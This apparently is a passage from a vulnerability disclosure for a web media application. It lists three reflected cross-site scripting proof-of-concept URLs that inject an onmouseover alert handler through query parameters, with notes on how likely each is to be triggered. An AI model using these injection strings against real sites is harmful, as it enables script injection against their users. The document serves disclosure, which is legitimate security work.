-- Will be executed when a user moves his mouse over the search field.

http://[HOST]/webmediaexpl/htdocs/?tag=" onmouseover=alert(0) --- 
-- Will be executed when a user moves his mouse over a tag.

http://[HOST]/webmediaexpl/htdocs/?view=2&thisisnotarealcall=')" onmouseover=alert(0) > --- 
-- Will be executed when a user moves his mouse over the column field. (unlikely)

http://[HOST]/webmediaexpl/htdocs/index.php?dir=&bookmark=" onmouseover=alert(0) > ---&action=edit 
-- Requires admin access, however since this is a hidden tag exploitation is highly unlikely.
